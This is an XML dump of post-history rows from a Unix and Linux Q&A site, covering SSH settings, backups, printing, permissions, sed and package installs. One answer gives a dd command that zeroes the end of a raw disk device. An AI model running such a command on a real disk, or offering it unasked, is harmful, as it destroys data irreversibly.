  <row Id="34656" PostHistoryTypeId="3" PostId="13865" RevisionGUID="6c43f647-3f0c-42a7-a3e7-ac82affaf729" CreationDate="2011-05-27T03:02:16.720" UserId="7820" Text="élinuxàéfdiskàéexternalöhddà" />
  <row Id="34657" PostHistoryTypeId="2" PostId="13866" RevisionGUID="9843191d-f20d-4744-b66a-98944f1234ff" CreationDate="2011-05-27T03:11:25.390" UserId="3389" Text="If you happen to be working on a terminal that doesn't support fancy things like scrollback (for example, an actual teletype), then `ed` really shines.  " />
  <row Id="34658" PostHistoryTypeId="2" PostId="13867" RevisionGUID="54ef4ae9-d158-4362-8585-91d7dff030f2" CreationDate="2011-05-27T03:13:10.340" UserId="7819" Text="VMTools on Fedora should work and if you have the option of installing Managed VMware Tools from VM Workstation then you also need to install &quot;Development Tools&quot; and kernel-devel to compile the tools yourself. Otherwise try the RPMs from http://packages.vmware.com/tools/esx/4.1/rhel6/index.html for Unmanaged support. The same is true for vmware esx etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="34659" PostHistoryTypeId="25" PostId="13865" RevisionGUID="1b059948-24cc-4dd8-aeb5-26441ef9f492" CreationDate="2011-05-27T03:13:12.343" Comment="http://twitter.com/#!/StackUnix/status/73949845534154753" />
  <row Id="34660" PostHistoryTypeId="2" PostId="13868" RevisionGUID="2253c30b-bc2f-4714-973d-82f81fa9b799" CreationDate="2011-05-27T03:22:40.257" UserId="6566" Text="I'm running the following command:&#xD;&#xA;&#xD;&#xA;    rdiff-backup --remote-schema '%s' 'sudo /usr/bin/rdiff-backup --server \&#xD;&#xA;        --restrict-read-only /'::/etc /var/backups/hosts/derp&#xD;&#xA;&#xD;&#xA;It's backing up ***/etc*** from ***localhost*** and putting it in ***/var/backups/hosts/derp*** just fine.  I can scarcely imagine it working better, but I have no idea how to get this to run and pull the files from another host.  Maybe I'm just being silly and assuming that the **remote** part in **--remote-schema** actually means **remote**.  Thanks for any help." />
  <row Id="34661" PostHistoryTypeId="1" PostId="13868" RevisionGUID="2253c30b-bc2f-4714-973d-82f81fa9b799" CreationDate="2011-05-27T03:22:40.257" UserId="6566" Text="Need a little help with --remote-schema option for rdiff-backup" />
  <row Id="34662" PostHistoryTypeId="3" PostId="13868" RevisionGUID="2253c30b-bc2f-4714-973d-82f81fa9b799" CreationDate="2011-05-27T03:22:40.257" UserId="6566" Text="ébackupàérdifföbackupà" />
  <row Id="34663" PostHistoryTypeId="2" PostId="13869" RevisionGUID="88d2dcf6-86fd-46d9-91f4-8641dd34f358" CreationDate="2011-05-27T03:23:16.503" UserId="7819" Text="Usually it is unformatted.&#xD;&#xA;&#xD;&#xA;    fdisk /dev/sdc&#xD;&#xA;&#xD;&#xA;n - new partition&#xD;&#xA;Are you able to access it?" />
  <row Id="34665" PostHistoryTypeId="2" PostId="13871" RevisionGUID="91c1f9a4-d1a1-4231-a017-0258e66ba31c" CreationDate="2011-05-27T03:50:15.007" UserId="5614" Text="In my automated backups, I'm not sure if I should be doing this. If the hard drive fails or if I wipe the hard disk and start over, what will be the effect of starting with a new SSH host key to my clients? Will I have to do anything special other than remove the host's name from each client's `known_hosts` file? What is the best thing to do in this case? I'm planning on wiping my computer and starting from scratch in the next few days. " />
  <row Id="34666" PostHistoryTypeId="1" PostId="13871" RevisionGUID="91c1f9a4-d1a1-4231-a017-0258e66ba31c" CreationDate="2011-05-27T03:50:15.007" UserId="5614" Text="Should I be backing up my SSH host keys?" />
  <row Id="34667" PostHistoryTypeId="3" PostId="13871" RevisionGUID="91c1f9a4-d1a1-4231-a017-0258e66ba31c" CreationDate="2011-05-27T03:50:15.007" UserId="5614" Text="ésshàésecurityàébackupàéopensshà" />
  <row Id="34668" PostHistoryTypeId="2" PostId="13872" RevisionGUID="fe817429-fef1-4778-8f6d-88b191804e81" CreationDate="2011-05-27T04:07:03.623" UserId="7822" Text="I'm running Slackware 13.37, and I was wondering if there was a way to tell which script executed a command. I tracked the process and its arguments, but I would like to know where the command originated from. Thanks!" />
  <row Id="34669" PostHistoryTypeId="1" PostId="13872" RevisionGUID="fe817429-fef1-4778-8f6d-88b191804e81" CreationDate="2011-05-27T04:07:03.623" UserId="7822" Text="Is there a way to tell which file (script, specifically) executed a command?" />
  <row Id="34670" PostHistoryTypeId="3" PostId="13872" RevisionGUID="fe817429-fef1-4778-8f6d-88b191804e81" CreationDate="2011-05-27T04:07:03.623" UserId="7822" Text="élinuxàéprocessàéslackwareà" />
  <row Id="34671" PostHistoryTypeId="2" PostId="13873" RevisionGUID="6e731366-fd70-4162-9995-1f97c81a68c5" CreationDate="2011-05-27T04:44:31.553" UserId="250" Text="I don't want to disable remote login with password altogether, but I want to make it so that my account is only accessible with key pair authentication (there are other users who wants to use passwords to log in). Is it possible to change this on a per-user basis, ideally without changing system settings?&#xD;&#xA;&#xD;&#xA;And to make it clear, my account has sudo access, so I don't want to lock the password." />
  <row Id="34672" PostHistoryTypeId="1" PostId="13873" RevisionGUID="6e731366-fd70-4162-9995-1f97c81a68c5" CreationDate="2011-05-27T04:44:31.553" UserId="250" Text="How can I lock my own account from remote ssh login with password?" />
  <row Id="34673" PostHistoryTypeId="3" PostId="13873" RevisionGUID="6e731366-fd70-4162-9995-1f97c81a68c5" CreationDate="2011-05-27T04:44:31.553" UserId="250" Text="ésshàéauthenticationàékeyöauthenticationà" />
  <row Id="34674" PostHistoryTypeId="2" PostId="13874" RevisionGUID="ff2da4fa-512a-420e-a306-cfffb4ac09e1" CreationDate="2011-05-27T05:16:12.333" UserId="6761" Text="You can use the Match option in `sshd_config`&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;  &lt;b&gt;Match&lt;/b&gt;    Introduces a conditional block.  If all of the criteria on the Match line are satisfied, the keywords on the following lines override those set in the global section of the config file, until either another Match line or the end of the file.[1]&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;So, &lt;em&gt;at the end of that file&lt;/em&gt; you could specify:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;Match User yourusername&#xD;&#xA;PasswordAuthentication no&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;[1] http://www.openbsd.org/cgi-bin/man.cgi?query=sshd_config&amp;sektion=5&#xD;&#xA;" />
  <row Id="34675" PostHistoryTypeId="2" PostId="13875" RevisionGUID="0306a3ec-cb2a-4b87-9843-6b293808b49a" CreationDate="2011-05-27T05:16:37.203" UserId="5842" Text="There is no guaranteed generic way to do that apart from walking the process tree (by looking at the commands `PPID`, then that process's `PPID`, etc...).&#xD;&#xA;&#xD;&#xA;There's a good utility for that though, if you're not trying to script something: [`pstree`](http://unixhelp.ed.ac.uk/CGI/man-cgi?pstree+1). It will give you a &quot;graphical&quot; view of the process hierarchy. Something like:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ pstree -a&#xD;&#xA;     ...&#xD;&#xA;      ├─udevd --daemon&#xD;&#xA;      │   ├─udevd --daemon&#xD;&#xA;      │   └─udevd --daemon&#xD;&#xA;      ├─urxvt&#xD;&#xA;      │   └─bash&#xD;&#xA;      │       └─pstree -ah&#xD;&#xA;      └─xdm&#xD;&#xA;          ├─X :0 vt7 -auth /var/lib/xdm/authdir/authfiles/A:0-g8w3zk&#xD;&#xA;          └─xdm&#xD;&#xA;              └─awesome&#xD;&#xA;                  ├─chrome&#xD;&#xA;                  │   ├─chrome&#xD;&#xA;                  │   └─21*[{chrome}]&#xD;&#xA;                  └─qmpdclient&#xD;&#xA;                      └─{qmpdclient}&#xD;&#xA;&#xD;&#xA;There are options to show the `PID`s, show or hide the command lines, etc..." />
  <row Id="34676" PostHistoryTypeId="5" PostId="13874" RevisionGUID="3bc21ef9-5902-471d-be13-f0f5ad6a4ca9" CreationDate="2011-05-27T05:35:41.560" UserId="6761" Comment="more detail on man page" Text="You can use the Match option in `sshd_config`&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;  &lt;b&gt;Match&lt;/b&gt;    Introduces a conditional block.  If all of the criteria on the Match line are satisfied, the keywords on the following lines override those set in the global section of the config file, until either another Match line or the end of the file.[1]&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;So, &lt;em&gt;at the end of that file&lt;/em&gt; you could specify:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;Match User yourusername&#xD;&#xA;PasswordAuthentication no&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;See `man 5 sshd_config` for all of the available options.&#xD;&#xA;&#xD;&#xA;[1] http://www.openbsd.org/cgi-bin/man.cgi?query=sshd_config&amp;sektion=5&#xD;&#xA;" />
  <row Id="34677" PostHistoryTypeId="2" PostId="13876" RevisionGUID="ccd6ab62-1e50-4ec3-b611-490cf8d35400" CreationDate="2011-05-27T05:39:17.533" UserId="3385" Text="I'm at the stage of the install of Fedora 15 where i choose what software. I want less so I'm going for &quot;minimal&quot; and &quot;Customize now&quot;.&#xD;&#xA;&#xD;&#xA;What do I need to tick to get the machine to boot gnome at startup? Last time I chose minimal gnome did not load and I got stuck at termial (or whatever you wizards call it).&#xD;&#xA;&#xD;&#xA;Thank you in advance" />
  <row Id="34678" PostHistoryTypeId="1" PostId="13876" RevisionGUID="ccd6ab62-1e50-4ec3-b611-490cf8d35400" CreationDate="2011-05-27T05:39:17.533" UserId="3385" Text="minimal install, still want gnome!" />
  <row Id="34679" PostHistoryTypeId="3" PostId="13876" RevisionGUID="ccd6ab62-1e50-4ec3-b611-490cf8d35400" CreationDate="2011-05-27T05:39:17.533" UserId="3385" Text="élinuxàéfedoraàégnomeàébootà" />
  <row Id="34680" PostHistoryTypeId="2" PostId="13877" RevisionGUID="2f076cb4-f3f8-4c57-a19b-56a94f0e58f9" CreationDate="2011-05-27T05:41:22.883" UserId="311" Text="On the GPU side, there's NVClock and the nvidia-settings GUI, both of which support overclocking Nvidia cards.&#xD;&#xA;&#xD;&#xA;As far as CPU overclocking goes, there's not much going for this on Linux, and you'll probably end up in the BIOS settings. Things are very different on Windows, where many motherboard manufacturers ship drivers and utilities for overclocking from a GUI without booting to the BIOS settings.&#xD;&#xA;&#xD;&#xA;*Underclocking*, on the other hand..." />
  <row Id="34681" PostHistoryTypeId="25" PostId="13873" RevisionGUID="dde98b63-0ea9-434c-bfcf-88e3aecf5130" CreationDate="2011-05-27T06:13:11.867" Comment="http://twitter.com/#!/StackUnix/status/73995142557745152" />
  <row Id="34682" PostHistoryTypeId="2" PostId="13878" RevisionGUID="e7c5e9c6-963c-4194-a10c-6c3ac7439743" CreationDate="2011-05-27T06:49:36.527" UserId="4787" Text="I install *custom packages* in the `/usr/local` tree. No *official packages* should be installed there, so you should be able to experiment without consequence." />
  <row Id="34683" PostHistoryTypeId="2" PostId="13879" RevisionGUID="6c040f73-1120-4ccb-ba71-f0a569db4504" CreationDate="2011-05-27T07:13:55.613" UserId="7826" Text="How do I set up my Ubuntu machine to allow other computers to print to it?&#xD;&#xA;&#xD;&#xA;Please as much as possible GUI desktop tools only.  If I could handle command line and hacks I probably wouldn't be here in the first place.  Go easy on me, I'm a native Windows user.&#xD;&#xA;&#xD;&#xA;The set up is&#xD;&#xA;&#xD;&#xA;All computers are connected to the network&#xD;&#xA;&#xD;&#xA; 1. 1 dual Ubuntu/Windows 7 netbook &#xD;&#xA; 2. 1 multibooting Debian/Ubuntu/Windows XP desktop&#xD;&#xA; 3. 1 Vista laptop &#xD;&#xA; 4. 1 dual Windows 7/Mac desktop&#xD;&#xA;&#xD;&#xA;Printer = Brother HL-4050 CDN connected to number (1) above&#xD;&#xA;&#xD;&#xA;A solution that involves only GUI configuration tools please.  Command line is painful to me." />
  <row Id="34684" PostHistoryTypeId="1" PostId="13879" RevisionGUID="6c040f73-1120-4ccb-ba71-f0a569db4504" CreationDate="2011-05-27T07:13:55.613" UserId="7826" Text="Set up network to share a printer connected to one particular machine on the network" />
  <row Id="34685" PostHistoryTypeId="3" PostId="13879" RevisionGUID="6c040f73-1120-4ccb-ba71-f0a569db4504" CreationDate="2011-05-27T07:13:55.613" UserId="7826" Text="énetworkingàéconfigurationàéprintingàésettingsà" />
  <row Id="34686" PostHistoryTypeId="5" PostId="13863" RevisionGUID="57588845-2e52-4487-9223-4221e6e8db64" CreationDate="2011-05-27T07:18:01.653" UserId="1946" Comment="formatting" Text="No. Root folder permission limits child files permission. You can try it.&#xD;&#xA;&#xD;&#xA;    $ mkdir rootdir&#xD;&#xA;    $ touch ./rootdir/childfile&#xD;&#xA;    $ chmod 777 ./rootdir/childfile&#xD;&#xA;    $ chmod 600 rootdir&#xD;&#xA;    $ cat ./rootdir/childfile&#xD;&#xA;&#xD;&#xA;I get this:&#xD;&#xA;&#xD;&#xA;    $ cat: ./rootfolder/childfile: permission denied&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34687" PostHistoryTypeId="24" PostId="13863" RevisionGUID="57588845-2e52-4487-9223-4221e6e8db64" CreationDate="2011-05-27T07:18:01.653" Comment="Proposed by 1946 approved by 885 edit id of 395" />
  <row Id="34688" PostHistoryTypeId="2" PostId="13880" RevisionGUID="984395d6-1fe1-4d2c-8ca1-52ffda57efba" CreationDate="2011-05-27T07:22:50.653" UserId="885" Text="If you know you have GNU find, use [`-quit` ](http://unix.stackexchange.com/questions/13860/how-to-detect-whether-find-found-any-matches/13862#13862) to make it stop after the first match.&#xD;&#xA;&#xD;&#xA;Portably, pipe the output of `find` into `head -n 1`. That way `find` will die of a broken pipe after a few matches (when it's filled `head`'s input buffer).&#xD;&#xA;&#xD;&#xA;Either way, you don't need `wc` to test whether a string is empty, the shell can do it on its own.&#xD;&#xA;&#xD;&#xA;    if [ -n &quot;$(find … | head -n 1)&quot; ]; then …&#xD;&#xA;" />
  <row Id="34689" PostHistoryTypeId="2" PostId="13881" RevisionGUID="e354a7b7-e84c-4603-b360-ceb2d449a082" CreationDate="2011-05-27T07:26:13.923" UserId="7827" Text="Does the problem occur also on parallel logins, i.e. if you try to mount sshfs while having an open ssh session? If not, then I would guess that you have your home directory encrypted? In this case $HOME/.ssh/authorized_keys would only become usable on the remove machine after your first login (using your password). &#xD;&#xA;&#xD;&#xA;Check out https://help.ubuntu.com/community/SSH/OpenSSH/Keys#Troubleshooting for an explanation and the required workaround." />
  <row Id="34690" PostHistoryTypeId="2" PostId="13882" RevisionGUID="e6b13c49-aec6-464c-b1da-501e00da536c" CreationDate="2011-05-27T07:31:19.930" UserId="1925" Text="Unless a world of people connect to your system besides you and you want the change in their service to be as uninterrupted as possible, it is probably just as well that you create new host keys. If you wipe a system and start from scratch it really isn't the same system as it was before and your ssh clients will be right in wanting to notify you that the system has changed. If you don't have any crazy lock-downs in affect were you cannot connect to new hosts, this should be an easy matter of updating the known hosts file." />
  <row Id="34691" PostHistoryTypeId="2" PostId="13883" RevisionGUID="965a86f5-17b8-4991-8752-0a9e51c9e8ef" CreationDate="2011-05-27T07:32:34.370" UserId="885" Text="A capital W doesn't occur at the end of a word either, but it may occur in an all-caps abbreviation. So I'd replace `W` when it's immediately after a lowercase letter, or when it follows an uppercase letter and precedes a lowercase letter (aWre).&#xD;&#xA;&#xD;&#xA;    sed -e 's/\([[:lower:]]\)W/\1fi/g' -e 's/\([[:alpha:]]\)W\([[:lower:]]\)/\1fi\2/g'&#xD;&#xA;&#xD;&#xA;This doesn't cover `fifi` (which my biggest word list only finds it in “fifing”). More importantly, this doesn't cover `W` at the beginning of a word; you can capture some cases by looking at the second letter, but that's still going to miss many words that begin with `fi`.&#xD;&#xA;&#xD;&#xA;    … -e 's/\([^[:alnum:]]\)W\([b-dfgj-npqstv-xz]\)/\1fi\2/'&#xD;&#xA;" />
  <row Id="34692" PostHistoryTypeId="5" PostId="13876" RevisionGUID="3b73b1fe-c621-42d6-8aad-45c452d34d53" CreationDate="2011-05-27T07:36:08.447" UserId="1925" Comment="deleted 12 characters in body" Text="I'm at the stage of the install of Fedora 15 where I choose what software to install. I want less so I'm going for &quot;minimal&quot; and &quot;Customize now&quot;.&#xD;&#xA;&#xD;&#xA;What do I need to tick to get the machine to boot gnome at startup? Last time I chose minimal gnome did not load and I got stuck at terminal (or whatever you wizards call it)." />
  <row Id="34693" PostHistoryTypeId="2" PostId="13884" RevisionGUID="221e6994-d8d9-42b6-b60b-d08530c99741" CreationDate="2011-05-27T07:38:16.307" UserId="1925" Text="Having a gnome desktop in no way qualifies a system as a &quot;minimal&quot; install. It's possible you should could find all the right things to add, but your system is more likely to run smoothly for your needs if you pick a more appropriate base package set." />
  <row Id="34695" PostHistoryTypeId="2" PostId="13886" RevisionGUID="0d6b4d45-d3e5-4a97-860f-2108c47d8dbc" CreationDate="2011-05-27T07:50:16.520" UserId="1925" Text="The [answer from jasonwryan][1] is going to be the right way to make this change. The only addition I would make is that you could set the match to be group based so that any users in the wheel group would be required to use key authentication while others could use passwords.&#xD;&#xA;&#xD;&#xA;I know you want to do this without changing the system config files, but there is a good reason why that will not be possible. In your head it makes sense that your user should be able to institute a more secure login policy, but just because in your mind it is a more secure option doesn't change the fact that it is still a change to the system login requirements for a remote user.&#xD;&#xA;&#xD;&#xA;To understand why this is a problem, imagine the scenario the other way around. The system administrator (who can change the system config files) sets the system to key based login only. Then, some user comes along and with only access to their own user file and sets their account to allow password authentication, overriding the system policy. *BEEEEEEP*. Security problem!&#xD;&#xA;&#xD;&#xA;Does that explain why the kind of change you want to make is only possible from the system config file?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13873/how-can-i-lock-my-own-account-from-remote-ssh-login-with-password/13874#13874" />
  <row Id="34696" PostHistoryTypeId="5" PostId="13868" RevisionGUID="0f8c112a-929f-4c35-aa76-8e1b52a7eda6" CreationDate="2011-05-27T07:53:11.153" UserId="1925" Comment="deleted 37 characters in body" Text="I'm running the following command:&#xD;&#xA;&#xD;&#xA;    rdiff-backup --remote-schema '%s' 'sudo /usr/bin/rdiff-backup --server \&#xD;&#xA;        --restrict-read-only /'::/etc /var/backups/hosts/derp&#xD;&#xA;&#xD;&#xA;It's backing up `/etc` from `localhost` and putting it in `/var/backups/hosts/derp` just fine. I can scarcely imagine it working better, but I have no idea how to get this to run and pull the files from another host.  Maybe I'm just being silly and assuming that the **remote** part in `--remote-schema` actually means **remote**." />
  <row Id="34697" PostHistoryTypeId="2" PostId="13887" RevisionGUID="003d237a-7cc9-4550-91f2-89629a6941df" CreationDate="2011-05-27T07:59:29.730" UserId="1925" Text="The guys have already covered the basic `sed` stuff, but there are a couple more things you could do to help your text along.&#xD;&#xA;&#xD;&#xA;The first is to train your OCR program to recognize these in the first place. Most OCR systems have some sort of system to teach it new letters and learn from common mistakes like this one. If your corpus is big enough to need to to search and replaces like this, it should be big enough to teach the OCR engine not to make that mistake.&#xD;&#xA;&#xD;&#xA;Secondly, you can run your text through a spell check engine. Many OCR programs include this step as part of an internal self check, a sort of &quot;does this word even make sense transcribed this way&quot;. You can certainly do this yourself as a way of validating that everything got sanely converted." />
  <row Id="34698" PostHistoryTypeId="2" PostId="13888" RevisionGUID="0f5ab847-a2e2-4f15-ae5d-1be3185e194e" CreationDate="2011-05-27T08:03:38.853" UserId="1925" Text="As a general purpose editor, probably not, but as a way to get yourself out of a pinch, it's good to know a few basics. The good news is that if you know your way around `vim`, it's likely you can use that knowledge to blunder around in `ed`. The times are changing, but there are still systems that it might be your best editor or connection scenarios that call for it. I've used it from my super-slick smartphone logged into a modern linux box when the connection was bad enough that running a full editor was taking forever and I really needed to just change a line and get out." />
  <row Id="34699" PostHistoryTypeId="5" PostId="13553" RevisionGUID="f50aeb5f-c1d2-4165-a89e-3ee61b2361a2" CreationDate="2011-05-27T08:48:37.693" UserId="1925" Comment="Removed salutation and signature per FAQ; Fixed some English bits; Formatted for readability" Text="I'm using Fedora for desktop use and I:&#xD;&#xA;&#xD;&#xA;    yum -y install caching-nameserver&#xD;&#xA;    service named restart&#xD;&#xA;    chkconfig --level 5 named on&#xD;&#xA;&#xD;&#xA;on it, and set the nameserver to 127.0.0.1. If I:&#xD;&#xA;&#xD;&#xA;    dig google.com | grep SERVER&#xD;&#xA;    ;; SERVER: 127.0.0.1#53(127.0.0.1)&#xD;&#xA;&#xD;&#xA;Then I can see it's ok … I'm using my previously installed local DNS cache server! Hurrah! (no more crappy DNS from my ISP..)&#xD;&#xA;&#xD;&#xA;Then I tried `tcpdump`:&#xD;&#xA;&#xD;&#xA;    tcpdump -n -i eth0 dst port 53&#xD;&#xA;&#xD;&#xA;All I can see that my Local DNS server doesn't use my ISP's DNS server for resolving, rather it uses the root servers (IP address) DNS server to resolve my domain names (the ones I type in my webbrowser).&#xD;&#xA;&#xD;&#xA;*Question #1*: Does my local DNS caching server really **only uses just** the root servers DNS server for resolving?&#xD;&#xA;&#xD;&#xA;*Question#2*: If using [DNSSEC][1] gives me more security regarding DNS, then how could I set my pc/local dns cache to only use and only allow DNSSEC? I think DNSSEC is deployed years (?) ago on the root DNS servers.&#xD;&#xA;&#xD;&#xA;**Update**:&#xD;&#xA;I had misunderstood something, and to use only DNSSEC I would need that: all the NS's of the domains that I'm visiting must be configured to use DNSSEC - and that's not very widely used, so I can't use only DNSSEC.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://secure.wikimedia.org/wikipedia/en/wiki/Domain_Name_System_Security_Extensions" />
  <row Id="34701" PostHistoryTypeId="5" PostId="13855" RevisionGUID="77dcdc0c-013c-4103-8819-da96f8bfe14b" CreationDate="2011-05-27T09:10:57.803" UserId="885" Comment="added missing &lt;/proc/partitions (noted by Iain, Caleb)" Text="The size of every partition is available in `/proc/partitions`. The following command shows the size of `sdx` (in kB units):&#xD;&#xA;&#xD;&#xA;    awk '$4 == &quot;sdx&quot; {print $3}' &lt;/proc/partitions&#xD;&#xA;&#xD;&#xA;Thus:&#xD;&#xA;&#xD;&#xA;    dd if=/dev/zero of=/dev/sdx bs=1k count=1024 \&#xD;&#xA;       seek=$(($(awk '$4 == &quot;sdx&quot; {print $3}' &lt;/proc/partitions) - 1024))" />
  <row Id="34702" PostHistoryTypeId="25" PostId="13872" RevisionGUID="2f09604f-db67-457b-bd39-7f15c2126aae" CreationDate="2011-05-27T09:13:11.753" Comment="http://twitter.com/#!/StackUnix/status/74040441904959488" />
  <row Id="34703" PostHistoryTypeId="2" PostId="13890" RevisionGUID="081de69c-a158-4f3a-8f31-3d76570bab18" CreationDate="2011-05-27T09:34:22.417" UserId="6890" Text="I had the same issue some time before and published my solution at [my blog][1].&#xD;&#xA;All in all on your ubuntu with connected printer you just need to do:&#xD;&#xA;&#xD;&#xA; 1. install [cups][2] (you'll find it for example in synaptic)&#xD;&#xA; 2. browse to `localhost:631`&#xD;&#xA; 3. configure the printer, so that you are able to print locally&#xD;&#xA; 4. modify the printer: check the field called *&quot;Share This Printer&quot;*&#xD;&#xA; 5. in the administration tab enable *&quot;Share printers connected to this system&quot;* and *&quot;Allow printing from the Internet&quot;*&#xD;&#xA;&#xD;&#xA;On your Debian/Ubuntu clients edit `/etc/cups/client.conf`, this file should contain (replace `SERVER` with the IP of your server, `PORT` should be 631 by default):&#xD;&#xA;&#xD;&#xA;    ServerName SERVER:PORT&#xD;&#xA;&#xD;&#xA;Unfortunately I'm not really familiar with Windows, but I think it should be possible to tell them that there is a new printer server.&#xD;&#xA;&#xD;&#xA;Kind regards.&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.binfalse.de/2010/05/serv-local-printer/&#xD;&#xA;  [2]: http://www.cups.org/" />
  <row Id="34704" PostHistoryTypeId="2" PostId="13891" RevisionGUID="ba5662ec-9958-406b-8532-f641908724ee" CreationDate="2011-05-27T09:57:27.927" UserId="885" Text="The precise rule is: you can traverse a directory if and only if you have execute permission on it.&#xD;&#xA;&#xD;&#xA;So for example to access `dir/subdir/file`, you need execute permission on `dir` and `dir/subdir`, plus the permissions on `file` for the type of access you want. Getting into corner cases, I'm not sure whether it's universal that you need execute permission on the current directory to access a file through a relative path (you do on Linux).&#xD;&#xA;&#xD;&#xA;The way you access a file matters. For example, if you have execute permissions on `/foo/bar` but not on `/foo`, but your current directory is `/foo/bar`, you can access files in `/foo/bar` through a relative path but not through an absolute path. You can't change to `/foo/bar` in this scenario; a more privileged process has presumably done `cd /foo/bar` before going unprivileged. If a file has multiple hard links, the path you use to access it determines your access constraints.&#xD;&#xA;&#xD;&#xA;Symbolic links change nothing. The kernel uses the access rights of the calling process to traverse them. For example, if `sym` is a symbolic link to the directory `dir`, you need execute permission on `dir` to access `sym/foo`. The permissions on the symlink itself may or may not matter depending on the OS and filesystem (some respect them, some ignore them).&#xD;&#xA;&#xD;&#xA;Removing execute permission from the root directory effectively restricts a user to a part of the directory tree (which a more privileged process must change into). This requires access control lists to be any use. For example, if `/` and `/home/joe` are off-limits to `joe` (`setfacl -m user:joe:0 / /home`) and `/home/joe` is `joe`'s home directory, then `joe` won't be able to access the rest of the system (including running shell scripts with `/bin/sh` or dynamically linked binaries that need to access `/lib`, so you'd need to go deeper for practical use, e.g. `setfacl -m user:joe:0` /*; setfacl -d user:joe /bin /lib').&#xD;&#xA;&#xD;&#xA;Read permission on a directory gives the right to enumerate the entries. Giving execute permission without giving read permission is occasionally useful: the names of entries serve as passwords to access them. I can't think of any use in giving read or write permission to a directory without execute permission.&#xD;&#xA;" />
  <row Id="34705" PostHistoryTypeId="6" PostId="13858" RevisionGUID="dce009b3-8eed-417d-9930-a9acd5b46706" CreationDate="2011-05-27T09:57:43.323" UserId="885" Comment="edited tags" Text="épermissionsàédirectoryà" />
  <row Id="34706" PostHistoryTypeId="6" PostId="13872" RevisionGUID="1954f853-6ab7-41c0-bcd1-030dc548003e" CreationDate="2011-05-27T10:08:50.003" UserId="885" Comment="edited tags" Text="élinuxàéprocessàémonitoringà" />
  <row Id="34707" PostHistoryTypeId="2" PostId="13892" RevisionGUID="11d0a8b6-701a-4f24-bbe4-46fc2127302b" CreationDate="2011-05-27T10:16:03.597" UserId="885" Text="If you're reinstalling the OS on your computer, but you consider that it's still the “same” computer, then you must back up the SSH private key and restore it after the installation. If you're reusing the same hardware to make a different system, then you must generate a new key for the new system. Deciding whether it's still the same computer is a semantic decision, so it's up to you; restoring or regenerating the SSH key is the implementation of this decision.&#xD;&#xA;&#xD;&#xA;If you're the only person accessing that computer, it doesn't matter much. If you have other users, changing the SSH key will cause trouble:&#xD;&#xA;&#xD;&#xA;* The few users who are both security-conscious and knowledgeable will worry that something bad is happening and try to contact you out of band to warn you that they may be under attack.&#xD;&#xA;* The few users who are knowledgeable but not that paranoid will remove the old SSH key to get rid of the error message, and grumble about the sysadmin changing the key.&#xD;&#xA;* The majority of users who ignore messages are just going to see that they can't connect and may contact you for help.&#xD;&#xA;" />
  <row Id="34708" PostHistoryTypeId="5" PostId="13883" RevisionGUID="2b0823c4-fb4e-4318-b794-ca0fa634f1b3" CreationDate="2011-05-27T10:38:25.863" UserId="885" Comment="split beginning of line and middle of line for the W+consonant case" Text="A capital W doesn't occur at the end of a word either, but it may occur in an all-caps abbreviation. So I'd replace `W` when it's immediately after a lowercase letter, or when it follows an uppercase letter and precedes a lowercase letter (aWre).&#xD;&#xA;&#xD;&#xA;    sed -e 's/\([[:lower:]]\)W/\1fi/g' -e 's/\([[:alpha:]]\)W\([[:lower:]]\)/\1fi\2/g'&#xD;&#xA;&#xD;&#xA;This doesn't cover `fifi` (which my biggest word list only finds it in “fifing”). More importantly, this doesn't cover `W` at the beginning of a word; you can capture some cases by looking at the second letter, but that's still going to miss many words that begin with `fi`. In English, many letters never appear after a W:&#xD;&#xA;&#xD;&#xA;    … -e 's/\([^[:alnum:]]\)W\([b-dfgj-npqstv-xz]\)/\1fi\2/g' \&#xD;&#xA;      -e 's/^W\([b-dfgj-npqstv-xz]\)/fi\2/'&#xD;&#xA;&#xD;&#xA;For more precise results and to cope with other languages, you can switch to a more complex dictionary-based approach (which fancy OCR systems often use, evidently yours isn't fancy enough).&#xD;&#xA;" />
  <row Id="34709" PostHistoryTypeId="2" PostId="13893" RevisionGUID="6931bc15-9c8c-43d3-9bbc-2052795560bd" CreationDate="2011-05-27T11:22:14.600" UserId="1875" Text="I restored router with it's original firmware instead of Tomato. Although I've been using Tomato for several months without any problem, but it seems that the problem is gone now." />
  <row Id="34710" PostHistoryTypeId="17" PostId="13894" RevisionGUID="ecff7579-31ba-439d-bbc1-e61120ab74aa" CreationDate="2011-05-27T11:26:59.783" UserId="-1" Comment="from http://stackoverflow.com/questions/6144044/gifsicle-on-centos-x86-64" Text="" />
  <row Id="34711" PostHistoryTypeId="17" PostId="13895" RevisionGUID="875c9928-2fad-4095-9cdc-6b125f8916a3" CreationDate="2011-05-27T11:26:59.783" UserId="-1" Comment="from http://stackoverflow.com/questions/6144044/gifsicle-on-centos-x86-64" Text="" />
  <row Id="34712" PostHistoryTypeId="2" PostId="13895" RevisionGUID="8e0b9fcd-5a46-4db3-ab69-ccdfcdb78b39" CreationDate="2011-05-26T19:40:13.387" UserDisplayName="Frank Schmitt" Text="If you don't want to download the source and compile it yourself, you should try to locate  a RPM for your platform (e.g. from http://packages.sw.be/gifsicle/),&#xD;&#xA;and install it using&#xD;&#xA;&#xD;&#xA;    rpm -Uvh &lt;filename&gt;" />
  <row Id="34713" PostHistoryTypeId="2" PostId="13894" RevisionGUID="e2fb7b57-2d6c-4c0c-ad48-e3d1856e7702" CreationDate="2011-05-26T19:33:51.440" UserDisplayName="Alex" Text="I am trying to install Gifsicle on my server which is CentOS x86_64. I do not know which package to use or how to install it. Can someone with experience help me out?&#xD;&#xA;&#xD;&#xA;http://www.lcdf.org/gifsicle/" />
